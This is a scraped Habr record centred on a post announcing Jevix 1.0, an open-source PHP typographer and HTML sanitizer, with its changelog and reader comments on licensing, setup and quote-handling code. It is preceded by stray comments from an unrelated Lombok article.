`@RequiredArgsConstructor `\n>\n> `@ToString`\nне заработает?\nЕсли даже оставить за скобками претензии относительно использования модели в контроллере для представления данных ваша статья все еще плоха для новичков там, что содержит абсолютно не обязательные для воспроизведения вещи, которые зачем-то там присутствуют, и никак не комментируются.", "Ну батенька, это уж совсем не к чему придраться? Это стандартные аннотации lombok, можете использовать вместо них кучу бойлерплейта, конкретно к теме статьи прямого отношения не имеют, но нужны, конечно же, в самом приложении для его нормальной работы, просто лень было их вырезать при копипасте из проекта. Многие, когда пишут куски кода в статьях, так вообще приводят полные тексты классов со всеми импортами, длиннющую такую простыню, и ничего ))", "Вопрос про краткие пояснения) вот используется аннотация ToString из Lombok. На данном примере, действительно, ее использование в таком виде ничего не предвещает, но все стоит написать, что связи из ToString стоит исключать, чтобы не получить неожиданные side эффекты", "Статья же для тех, «кто только встал на эти грабли» (то есть новички)", "Ну все-таки не для таких \"новичков\", которые совсем уж с полного нуля начинают) те, кто дополз хотя бы до проектов на Spring - это уже junior. У нас так не принято в градациях, но, например, за бугром тех, кого вы назвали \"новичками\", называют даже не junior, а starter, и отправляют учить основы языка и стека и читать документацию. Те, кто наступил на эти грабли у нас уже, скажем так \"продвинутые новички\", и о lombok имеют определенное представление, почитают сами или найдут еще одну очень короткую статью, где описаны и эти грабли тоже - коротко, только по существу и без лишней \"воды\" и \"спотыканий\" на попутные замечания.\n@ToStringдействительно, имеет смысл подправить в том случае, если вы 1) явно задали какие-то поля, как lazy loaded (в этом \"кусочке слона\" их нет) 2) предполагаете пакетную обработку больших данных (опять же, для личных данных пользователей такое не предвидится, с ними всегда работают индивидуально). Поэтому в этой статье не считаю это обязательным - опять получится \"растекашеся мыслию по древу\" (то есть будем отвлекаться на попутные детали, не имеющие прямого отношения к теме статьи) Опять же, это вполне подходит для отдельной статьи для джунов. Ну если очень кратко, то в таких случаях самое простое на lazy полях можно добавить дополнительно аннотацию @ToString.Exclude. Но и это вызовет side эффект - если вам все же в результатах операции toString к этой сущности необходимо, чтобы была какая-то информация о lazy поле, добавьте ее вручную каким-то простым и безопасным способом, переопределив в классе сущности метод toString ручками, без аннотаций вообще.\nВидите, сколько деталей пришлось описать даже в \"кратком пояснении\"? А теперь представьте себе, что вы \"запинаетесь\" в каждом таком интересном месте. И вот новичок читает эту статью, тоже на каждом таком \"пояснении\" запинается и думает \"упс, вероятно, это важно для этого кейса, без этого работать вообще не будет, раз автор написал об этом тоже\" и начинает реплицировать эти детали у себя в проекте, утопая в них по самые уши )) Зачем? Это нужно выносить в отдельную тему в отдельной статье - или писать книгу, в крайнем случае, большой туториал с продолжениями на несколько страниц. А краткие статьи тем и ценны, что человек наступает на грабли, гуглит, находит короткий рецепт, делает, получает результат. Потом, вполне возможно, наступает на следующие грабли, опять находит короткую статью, снова решает проблему, и так далее. Очень рациональный подход, большинство вопросов-ответов на stackoverflow, например, приведены именно в таком ключе. Очень разумно и по делу, без \"воды\"." ], "author": [ "awfun", "Иван (IAncientD)", "Дмитрий (zKey)", "Ямангулов Андрей Наильевич (AYamangulov)", "Ямангулов Андрей Наильевич (AYamangulov)", "Ямангулов Андрей Наильевич (AYamangulov)", "Vladislav (vladi_geras)", "panzerfaust", "Ямангулов Андрей Наильевич (AYamangulov)", "Ямангулов Андрей Наильевич (AYamangulov)", "Vladislav (vladi_geras)", "Ямангулов Андрей Наильевич (AYamangulov)", "GerrAlt", "Ямангулов Андрей Наильевич (AYamangulov)", "Vladislav (vladi_geras)", "Vladislav (vladi_geras)", "Ямангулов Андрей Наильевич (AYamangulov)" ], "children": [ [ 24588254 ], [ 24588264 ], [ 24588280 ], [], [], [ 24589672 ], [ 24592316 ], [ 24592298 ], [], [ 24592510 ], [ 24593158 ], [], [ 24594762 ], [ 24594890, 24594954 ], [], [ 24595880 ], [] ] }
44,423
ru
https://habr.com/ru/post/44423/
Свершилось — Jevix 1.0
Jevix — система автоматического применения правил набора текстов (типографика) разработанная в ТМTM для собственных проектов (Хабр, Кадабра, Дрибблер), с открытым исходным кодом, наделённая способностью унифицировать разметку HTML/XML документов, контролировать перечень допустимых тегов и атрибутов и предотвращать возможные XSS-атаки в коде документов. В связи с катастрофической нехваткой времени, не смотря на мои обещания, код версии 1.0 выложен только сегодня. Но зато он всё же вышел! Причём вместе с исправлением вчерашнего хабрабага с перечёркиванием текста. Теперь Jevix доступен на google code. Я не поссорился с Juks — автором perl-версии (если кто что подумал) — просто с google code мне работать проще. За написание тестового примера огромное спасибо vaart. Без него бы ничего не было. Какие произошли изменения (копи-паст из исходника): [code] 1.00 + Исправлен баг с закрывающимися тегами приводящий к созданию непарного тега рушащего вёрстку 1.00 RC2 + Небольшая чистка кода 1.00 RC1 + Добавлен символьный класс Jevix::RUS для определния русских символов + Авторасстановка пробелов после пунктуации только для кирилицы + Добавлена настройка cfgSetTagNoTypography() отключающая типографирование в указанном теге + Немного переделан алгоритм обработки кавычек. Он стал более строгим + Знак дюйма 33" больше не превращается в открывающуюся кавычку. Однако варриант "мой 24" монитор" - парсер не переварит. 0.99 + Расширена функциональность для проверки атрибутов тега: можно указать тип атрибута ( 'colspan'=>'#int', 'value' => '#text' ) в Jevix, по-умолчанию, определён массив типов для нескольких стандартных атрибутов (src, href, width, height) 0.98 + Расширена функциональность для проверки атрибутов тега: можно задавать список дозможных значений атрибута ( 'align'=>array('left', 'right', 'center') ) 0.97 + Обычные "кавычки" сохраняются как &quote; если они были так написаны 0.96 + Добавлены разрешённые протоколы https и ftp для ссылок (a href="https://...) 0.95 + Исправлено типографирование ?.. и !.. (две точки в конце больше не превращаются в троеточие) + Отключено автоматическое добавление пробела после точки для латиницы из-за чего невозможно было написать index.php или .htaccess 0.94 + Добавлена настройка автодобавления параметров тегов. Непример rel = "nofolow" для ссылок. Спасибо Myroslav Holyak (vbhjckfd at gmail.com) [/code] P.S. Я ни черта не понимаю в лицензиях. Посоветуйте пожалуйста. Мне бы хотелось, чтобы код мог использоваться как в open-source так и в коммерческих проектах с возможностью модификации кода, но, с указанием авторства P.P.S. Если есть желание присоединиться к проекту и усовершенствовать его или поработать над документацией — обращайтесь в инбокс
<div xmlns="http://www.w3.org/1999/xhtml"><a href="http://jevix.ru/"><img src="https://habrastorage.org/getpro/habr/post_images/bc4/1f9/5f8/bc41f95f882d43f45981aac161129496.gif" width="160" height="70" data-src="https://habrastorage.org/getpro/habr/post_images/bc4/1f9/5f8/bc41f95f882d43f45981aac161129496.gif"/></a><br/> <b>Jevix</b> — система автоматического применения правил набора текстов (типографика) разработанная в ТМ™ для собственных проектов (Хабр, Кадабра, Дрибблер), с открытым исходным кодом, наделённая способностью унифицировать разметку HTML/XML документов, контролировать перечень допустимых тегов и атрибутов и предотвращать возможные XSS-атаки в коде документов. <br/> <br/> В связи с катастрофической нехваткой времени, не смотря на мои обещания, код версии 1.0 выложен только сегодня. Но зато он всё же вышел! Причём вместе с исправлением вчерашнего хабрабага с перечёркиванием текста.<br/> <br/> Теперь Jevix <a href="http://code.google.com/p/jevix/">доступен</a> на <b>google code</b>. Я не поссорился с <a href="https://habrahabr.ru/users/juks/" class="user_link">Juks</a> — автором perl-версии (если кто что подумал) — просто с google code мне работать проще.<br/> <a name="habracut"></a><br/> За написание тестового примера огромное спасибо <a href="https://habrahabr.ru/users/vaart/" class="user_link">vaart</a>. Без него бы ничего не было.<br/> <br/> Какие произошли изменения (копи-паст из исходника):<br/> <pre> 1.00 + Исправлен баг с закрывающимися тегами приводящий к созданию непарного тега рушащего вёрстку 1.00 RC2 + Небольшая чистка кода 1.00 RC1 + Добавлен символьный класс Jevix::RUS для определния русских символов + Авторасстановка пробелов после пунктуации только для кирилицы + Добавлена настройка cfgSetTagNoTypography() отключающая типографирование в указанном теге + Немного переделан алгоритм обработки кавычек. Он стал более строгим + Знак дюйма 33" больше не превращается в открывающуюся кавычку. Однако варриант "мой 24" монитор" - парсер не переварит. 0.99 + Расширена функциональность для проверки атрибутов тега: можно указать тип атрибута ( 'colspan'=>'#int', 'value' => '#text' ) в Jevix, по-умолчанию, определён массив типов для нескольких стандартных атрибутов (src, href, width, height) 0.98 + Расширена функциональность для проверки атрибутов тега: можно задавать список дозможных значений атрибута ( 'align'=>array('left', 'right', 'center') ) 0.97 + Обычные "кавычки" сохраняются как &amp;quote; если они были так написаны 0.96 + Добавлены разрешённые протоколы https и ftp для ссылок (a href="https://...) 0.95 + Исправлено типографирование ?.. и !.. (две точки в конце больше не превращаются в троеточие) + Отключено автоматическое добавление пробела после точки для латиницы из-за чего невозможно было написать index.php или .htaccess 0.94 + Добавлена настройка автодобавления параметров тегов. Непример rel = "nofolow" для ссылок. Спасибо Myroslav Holyak (vbhjckfd at gmail.com) </pre><br/> <br/> <b>P.S.</b> Я ни черта не понимаю в лицензиях. Посоветуйте пожалуйста. Мне бы хотелось, чтобы код мог использоваться как в open-source так и в коммерческих проектах с возможностью модификации кода, но, с указанием авторства<br/> <b>P.P.S.</b> Если есть желание присоединиться к проекту и усовершенствовать его или поработать над документацией — обращайтесь в инбокс</div>
Денис (ur001)
null
null
<a href="http://jevix.ru/"><img src="https://habrastorage.org/getpro/habr/post_images/bc4/1f9/5f8/bc41f95f882d43f45981aac161129496.gif" width="160" height="70"/></a><br/> <b>Jevix</b> — система автоматического применения правил набора текстов (типографика) разработанная в ТМ&trade; для собственных проектов (Хабр, Кадабра, Дрибблер), с открытым исходным кодом, наделённая способностью унифицировать разметку HTML/XML документов, контролировать перечень допустимых тегов и атрибутов и предотвращать возможные XSS-атаки в коде документов. <br/> <br/> В связи с катастрофической нехваткой времени, не смотря на мои обещания, код версии 1.0 выложен только сегодня. Но зато он всё же вышел! Причём вместе с исправлением вчерашнего хабрабага с перечёркиванием текста.<br/> <br/> Теперь Jevix <a href="http://code.google.com/p/jevix/">доступен</a> на <b>google code</b>. Я не поссорился с <a href="https://habrahabr.ru/users/juks/" class="user_link">Juks</a> — автором perl-версии (если кто что подумал) — просто с google code мне работать проще.<br/>
Jevix — система автоматического применения правил набора текстов (типографика) разработанная в ТМTM для собственных проектов (Хабр, Кадабра, Дрибблер), с открытым исходным кодом, наделённая способностью унифицировать разметку HTML/XML документов, контролировать перечень допустимых тегов и атрибутов и предотвращать возможные XSS-атаки в коде документов. В связи с катастрофической нехваткой времени, не смотря на мои обещания, код версии 1.0 выложен только сегодня. Но зато он всё же вышел! Причём вместе с исправлением вчерашнего хабрабага с перечёркиванием текста. Теперь Jevix доступен на google code. Я не поссорился с Juks — автором perl-версии (если кто что подумал) — просто с google code мне работать проще.
article
1,226,481,363
{ "commentsCount": 104, "favoritesCount": 103, "readingCount": 2428, "score": 103, "votesCount": 107, "votesCountPlus": 105, "votesCountMinus": 2 }
[]
[ "habr" ]
[ "marketing" ]
[ "jevix", "типографика", "парсер", "xss" ]
2
null
null
{ "id": [ 1114287, 1114316, 1114327, 1114339, 1114345, 1114350, 1114353, 1114363, 1114373, 1114385, 1114394, 1114410, 1114414, 1114417, 1114432, 1114433, 1114470, 1114487, 1114489, 1114494, 1114503, 1114505, 1114507, 1114514, 1114518, 1114522, 1114550, 1114560, 1114566, 1114582, 1114592, 1114593, 1114608, 1114639, 1114645, 1114721, 1114781, 1114799, 1114801, 1114822, 1114826, 1114829, 1114840, 1114841, 1114846, 1114850, 1114853, 1114855, 1114856, 1114858, 1114861, 1114866, 1114867, 1114873, 1114883, 1114885, 1114952, 1114964, 1115139, 1115150, 1115178, 1115213, 1115278, 1115324, 1115336, 1115344, 1115434, 1115535, 1115619, 1115681, 1115701, 1115720, 1115837, 1115838, 1115895, 1115909, 1115912, 1116063, 1116068, 1116078, 1116117, 1116123, 1116190, 1116219, 1116258, 1116263, 1117144, 1117196, 1117261, 1117608, 1118030, 1119316, 1119328, 1119341, 1119345, 1119352, 1119353, 1123060, 1163584, 1164281, 1201495, 1202636, 1390315, 1509638 ], "parent_id": [ null, null, null, null, 1114339, null, 1114345, 1114287, 1114339, 1114350, null, null, null, null, null, null, 1114433, null, null, null, 1114414, 1114417, null, 1114470, 1114433, 1114487, 1114494, 1114507, 1114350, null, null, 1114550, 1114560, 1114505, 1114522, 1114394, 1114287, null, 1114287, 1114608, 1114582, 1114592, 1114829, 1114593, 1114840, 1114363, 1114840, 1114645, 1114826, 1114846, 1114856, null, 1114781, 1114853, 1114867, null, 1114721, 1114885, 1114861, null, null, null, 1115213, null, 1114964, 1115324, 1114883, 1114385, 1114385, 1114566, 1115681, 1114822, 1115681, null, 1115838, 1115895, null, 1115909, 1116063, 1116068, 1116078, 1116117, 1114353, 1115139, 1116219, 1116219, 1115701, 1116078, 1117144, 1117261, 1114503, 1118030, 1119316, 1119328, 1119328, 1119341, 1119345, null, null, null, 1163584, 1201495, null, null ], "level": [ 0, 0, 0, 0, 1, 0, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 2, 1, 1, 1, 1, 1, 0, 0, 2, 2, 2, 2, 1, 1, 0, 1, 3, 1, 1, 2, 3, 3, 2, 3, 3, 2, 4, 3, 0, 2, 4, 3, 0, 2, 1, 4, 0, 0, 0, 1, 0, 2, 1, 4, 2, 2, 2, 3, 4, 3, 0, 1, 2, 0, 3, 4, 5, 6, 7, 3, 5, 6, 6, 4, 6, 5, 6, 2, 3, 4, 5, 5, 6, 6, 0, 0, 0, 1, 2, 0, 0 ], "time_published": [ 1226482043, 1226482595, 1226482898, 1226483163, 1226483276, 1226483344, 1226483380, 1226483497, 1226483613, 1226483776, 1226483968, 1226484161, 1226484200, 1226484294, 1226484647, 1226484692, 1226485359, 1226485633, 1226485670, 1226485777, 1226485961, 1226485988, 1226486004, 1226486165, 1226486210, 1226486320, 1226486938, 1226487054, 1226487246, 1226487602, 1226488019, 1226488108, 1226488462, 1226489083, 1226489191, 1226490488, 1226491669, 1226492041, 1226492088, 1226492517, 1226492556, 1226492574, 1226492814, 1226492816, 1226492876, 1226492936, 1226492999, 1226493088, 1226493108, 1226493186, 1226493279, 1226493359, 1226493375, 1226493502, 1226493735, 1226493754, 1226495236, 1226495445, 1226499095, 1226499332, 1226500025, 1226500787, 1226503412, 1226504815, 1226505142, 1226505423, 1226507902, 1226510493, 1226512563, 1226513924, 1226514346, 1226514893, 1226517659, 1226517670, 1226518269, 1226518461, 1226518481, 1226522458, 1226522590, 1226522729, 1226523969, 1226524059, 1226525408, 1226525928, 1226526759, 1226526953, 1226568590, 1226569612, 1226571171, 1226578150, 1226585447, 1226610870, 1226611114, 1226611513, 1226611571, 1226611760, 1226611774, 1226745466, 1228085667, 1228125213, 1229347343, 1229365528, 1235094800, 1238751495 ], "score": [ 4, 3, 1, 0, 0, -33, 0, 4, 0, 3, 1, 0, 1, 6, 0, 1, 0, 0, 2, 0, 2, 0, 0, 1, 1, 1, 0, 0, 2, -1, 2, 1, 0, -1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, -1, 0, 0, 0, 1, 0, 0, 2, 0, 0, 1, 2, 2, 0, 1, 0, 1, 1, 0, 1, 0, 0, -1, -1, 0, 0, 3, 1, 3, 0, 0, 3, 0, 3, 0, 3, 0, 0, 0, 0, 0, 2, 1, -1, 0, 1, 0, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 4, 3, 1, 2, 0, 41, 6, 4, 0, 5, 1, 2, 3, 8, 2, 1, 0, 0, 2, 0, 2, 0, 0, 1, 1, 1, 0, 0, 2, 1, 2, 1, 0, 1, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 2, 0, 0, 1, 2, 2, 0, 1, 0, 1, 1, 0, 1, 0, 4, 3, 3, 0, 0, 5, 1, 3, 0, 0, 3, 0, 3, 0, 3, 0, 0, 0, 0, 2, 2, 1, 1, 0, 1, 0, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Отличненько! Давно уже прикрутил к TinyMCE и радостно пользуюсь в проектах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">спасибо :)<br/>\r\nотличная штука</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо.<br/>\r\n<br/>\r\n<blockquote>P.S. Я ни черта не понимаю в лицензиях. Посоветуйте пожалуйста</blockquote><br/>\r\nТолько не public domain.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну и как его посмотреть, если исходники скачать с google code нельзя по причине их отсутствия?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">source — browse — trunc </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а может не стоит своё -дебильное- интеллектуальное типографирование навязывать всем? почему человеку нужно специально что-то писать, чтобы машина не занималась самодеятельностью? тем более с учётом невозможности редактировать коммент или использовать тэги с недостаточной кармой…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю, нужно так и прописывать ( что-то вроде «Смотрите в trunc»)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">поделитесь</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><pre>svn checkout http://jevix.googlecode.com/svn/trunk/</pre><br/>\r\n<br/>\r\nЛибо скачать из trunk jevix.class.php и папку tests</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Троль?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><pre>(С) 1999-2003г., ООО \"Фирма \"Эдельвейс\". Все права защищены.\nОна добавила: \"И цвет мой самый любимый - \"эсмеральда\"\".\nООО \"Фирма \"Терминал\", НИИ \"ОблСнабВротКомпот\"</pre><br/>\r\n(пример взят из <a href=\"http://www.typograf.ru/flog/test1.txt\">www.typograf.ru/flog/test1.txt</a>)<br/>\r\n<br/>\r\nЕсли обрабатывать кавычки начиная с последней (с конца документа), то можно решить проблему «тройных» кавычек. И, в некоторых случаях, расставлять знак дюйма для чисел.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Долго ждал, спасибо!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А версия для Perl будет?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>P.S. Я ни черта не понимаю в лицензиях. Посоветуйте пожалуйста. Мне бы хотелось, чтобы код мог использоваться как в open-source так и в коммерческих проектах с возможностью модификации кода, но, с указанием авторства</blockquote><br/>\r\nBSD/MIT</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">спасибо!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Успешно использую типограф на своем сайте, написал авторам письмо с просьбой вылать пример настройки с сайта, а мне никто не ответил(<br/>\r\n<br/>\r\nА вообще очень классная штука. Из замеченных багов — преждевременное обрезание ссылок со скобкой (http://4stud.org/blog.php?id=114)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И с «тройными» кавычками трабла была, и со знаком дюйма. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ваш ченджлог уполз под «Похожие публикации».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">This project currently has no downloads.<br/>\r\n<br/>\r\nЯ что-то не понимаю в Google Code?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Perl версия скорее всего не будет развиваться. К тому же они сильно разошлись и стали, в принципе, разными проектами. Старая версия доступна на <a href=\"http://Jevix.ru\">Jevix.ru</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что она даёт?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, от тройных кавычек отказались намеренно, в пользу более качественной работы с двойными.<br/>\r\nС дюймами тоже сложно. Дело в том что фильтровать приходится не валидный HTML/XHTML а псевдо-код который пишут пользователи и надо определять это знак >, &lt; или начало тега, то же с кавычками…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я старался всем ответить. Если про Вас забыл — извините. Было много писем, а я один</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня в .htaccess:<br/>\r\n<pre>\nphp_value mbstring.func_overload 7\nphp_value default_charset UTF-8\nphp_value mbstring.language Russian\nphp_value mbstring.internal_encoding UTF-8\nphp_flag mbstring.encoding_translation on\nphp_value mbstring.http_input \"UTF-8,CP1251,KOI8-R\"\nphp_value mbstring.http_output UTF-8\nphp_value mbstring.detect_order \"UTF-8,CP1251,KOI8-R\"\n</pre></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://habrahabr.ru/blogs/habraworks/44423/#comment_1114373\">habrahabr.ru/blogs/habraworks/44423/#comment_1114373</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А они в чём?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не хочешь — не катай</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">creativecommons.org/about/ <br/>\r\nCreative Commons License<br/>\r\n<br/>\r\nЕсли в кратце, то:<br/>\r\n«Распространяйте [option: в таком же виде], изменяйте [option: или не изменяйте], пользуйтесь [option: только в некоммерческих целях], только укажите автора.»<br/>\r\n<br/>\r\nВыбор лицензии: creativecommons.org/about/license/</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">LGPL</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как-то неправильно это.<br/>\r\n<br/>\r\nЕсли уж релиз 1.0 — то надо выложить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://ru.wikipedia.org/wiki/Лицензии_BSD\">ru.wikipedia.org/wiki/Лицензии_BSD</a><br/>\r\n<a href=\"http://ru.wikipedia.org/wiki/MIT_License\">ru.wikipedia.org/wiki/MIT_License</a><br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">php_value mbstring.func_overload 7 не рекомендованно использовать, тк иногда нужно посчитать длинну чего нить в байтах</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так если в первой строке ошибка, так и в последней оказаться может.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">можно где-то скачать это?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">отличный типограф и отличная работа!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ничего не понял. У меня везде по-умолчанию стоит UTF-8, и файлы в svn-е наверняка тоже в нём. Или нет?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я не хочу запрещать коммерческое использование</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что это даёт?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Мне бы хотелось, чтобы код мог использоваться как в open-source так и в коммерческих проектах<br/>\r\n> с возможностью модификации кода, но, с указанием авторства<br/>\r\n<br/>\r\nчеловек может поюзать ваш код в закрытых проектах, но если он делает изменения или дополнения, то обязан их опубликовать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Выложил</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О — это мне нравится. А в коммерческих целях можно?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">поддерживаю</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И ещё — я не нашёл там LGPL. Вот предлагаемый список:<br/>\r\n<br/>\r\nApache License 2.0<br/>\r\nArtistic License/GPL<br/>\r\nEclipse Public License 1.0<br/>\r\nGNU General Public License v2<br/>\r\nGNU General Public License v3<br/>\r\nGNU Lesser General Public License<br/>\r\nMIT License<br/>\r\nMozilla Public License 1.1<br/>\r\nNew BSD License</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну тогда можно не использовать, но заменить функции внутри класса на mb_* эквиваленты</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Посмотрите сами. Тут и выбор, и помощь, и ссылки на СС-GNU, СС-LGNU и BSD лицензии. <br/>\r\ncreativecommons.org/license/<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">можно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Конечно я сам могу. Некогда вникать, по этому прошу помощи</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Большое спасибо, хороший продукт от разработчиков любимого ресурса.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ждите. <br/>\r\nПожалуй, сделаю запись в блоге. <br/>\r\n<br/>\r\nУведомлю в данном топике.<br/>\r\n<br/>\r\nБез проблем.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">GNU Lesser General Public License</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну как и все остальное в тиниМЦЕ возможно 2-мя способами — автоматом обрабатывать текст после «сохранения» (постпроцессинг) или плагин. В моем случае это почти плагин. Сыроватый. Недоработанный (не учитывает верстку, режет).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может быть, поднимете где-то демку?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не понял о чем вы. Если в тексте ошибка, то тут уж никакой алгоритм не поможет.<br/>\r\n<br/>\r\nПопытался описать алгоритм словами, но что-то туго выходит :-)<br/>\r\nПоэтому, примерный код из моего типографа:<br/>\r\n<pre>for ( $close = 0, $i = -1, $k = strlen( $text ) - 1; $i >= -$k &amp;&amp; ( $p = strrpos( $text, '\"', $i ) ) !== false; $i = $p - $k ) {\n if ( $p == $k || ( $p != 0 &amp;&amp; strpos( ' (', $text[ $p - 1 ] ) === false &amp;&amp; strpos( \" ,.?!)&lt;¬]&amp;}\\\"\\n;:-»“\", $text[ $p + 1 ] ) !== false ) ) {\n $close++;\n $text[ $p ] = $close > 1 ? '“' : '»';\n }\n else {\n $text[ $p ] = $close > 1 ? '„' : '«';\n if ( $close != 0 ) {\n $close--;\n }\n elseif ( ( $p1 = strpos( $text, '“', $p ) ) !== false &amp;&amp; strpos( $text, '»', $p ) > $p1 ) {\n $text[ strrpos( $text, '«', $i ) ] = '„';\n }\n }\n}\n$text = str_replace( array( '«', '»', '„', '“' ), array( '«', '»', '„', '“' ), $text );</pre></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не, не до этого. Хабр — как одна из демок</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">BSD или тот вариант CC где не запрещено коммерческое использование.<br/>\r\nвообще, лучше всё-таки вникнуть хотя бы в BSD.<br/>\r\nкракое содержание BSD — делайте чего хотите, только чтоб был копирайт, условия, и дисклеймер о том, что автора не волнуют ваши прямые или косвенные убытки, и никакой отвественности он за это не несёт.<br/>\r\n<br/>\r\nпример лицензии вашего шаблонного движка ;)<br/>\r\n<br/>\r\nCopyright © 2005 Alexey A. Rybak<br/>\r\n<br/>\r\nRedistribution and use in source and binary forms, with or without<br/>\r\nmodification, are permitted provided that the following conditions<br/>\r\nare met:<br/>\r\n1. Redistributions of source code must retain the above copyright<br/>\r\nnotice, this list of conditions and the following disclaimer.<br/>\r\n2. Redistributions in binary form must reproduce the above copyright<br/>\r\nnotice, this list of conditions and the following disclaimer in the<br/>\r\ndocumentation and/or other materials provided with the distribution.<br/>\r\n<br/>\r\nTHIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND<br/>\r\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE<br/>\r\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE<br/>\r\nARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE<br/>\r\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL<br/>\r\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS<br/>\r\nOR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)<br/>\r\nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT<br/>\r\nLIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY<br/>\r\nOUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF<br/>\r\nSUCH DAMAGE.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Намекните, как прикрутить к IPB?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А как тут дела обстоят с вставкой видео (с youtube, rutube и т.д.)?!?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>0.94<br/>\r\n+ Добавлена настройка автодобавления параметров тегов. Непример rel = «nofolow» для ссылок. <br/>\r\n</blockquote><br/>\r\nЯ надеюсь, вы опечатались и там на самом деле движок пишет «nofollow», а не «nofolow»?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Движок пишет что укажешь, а я опячатался</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">скажите, а то, что абзацы вовсе не размечаются, а только расставляются br'ы — это зачем? может, стоит сделать по выбору?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ну могли бы вставить скриншоты какие-нибудь для примера, наглядности и ясности что этот скрипт делает. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">особенно учитывая, что у jevix, который на jevix.ru, это есть, хоть и не очень верное — хочется иметь возможность параграфить текст, в котором перенос строки — это и есть абзац; если копировать текст, скажем, из ворда, то там так и будет…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Потестируем, поотлаживаем заодно 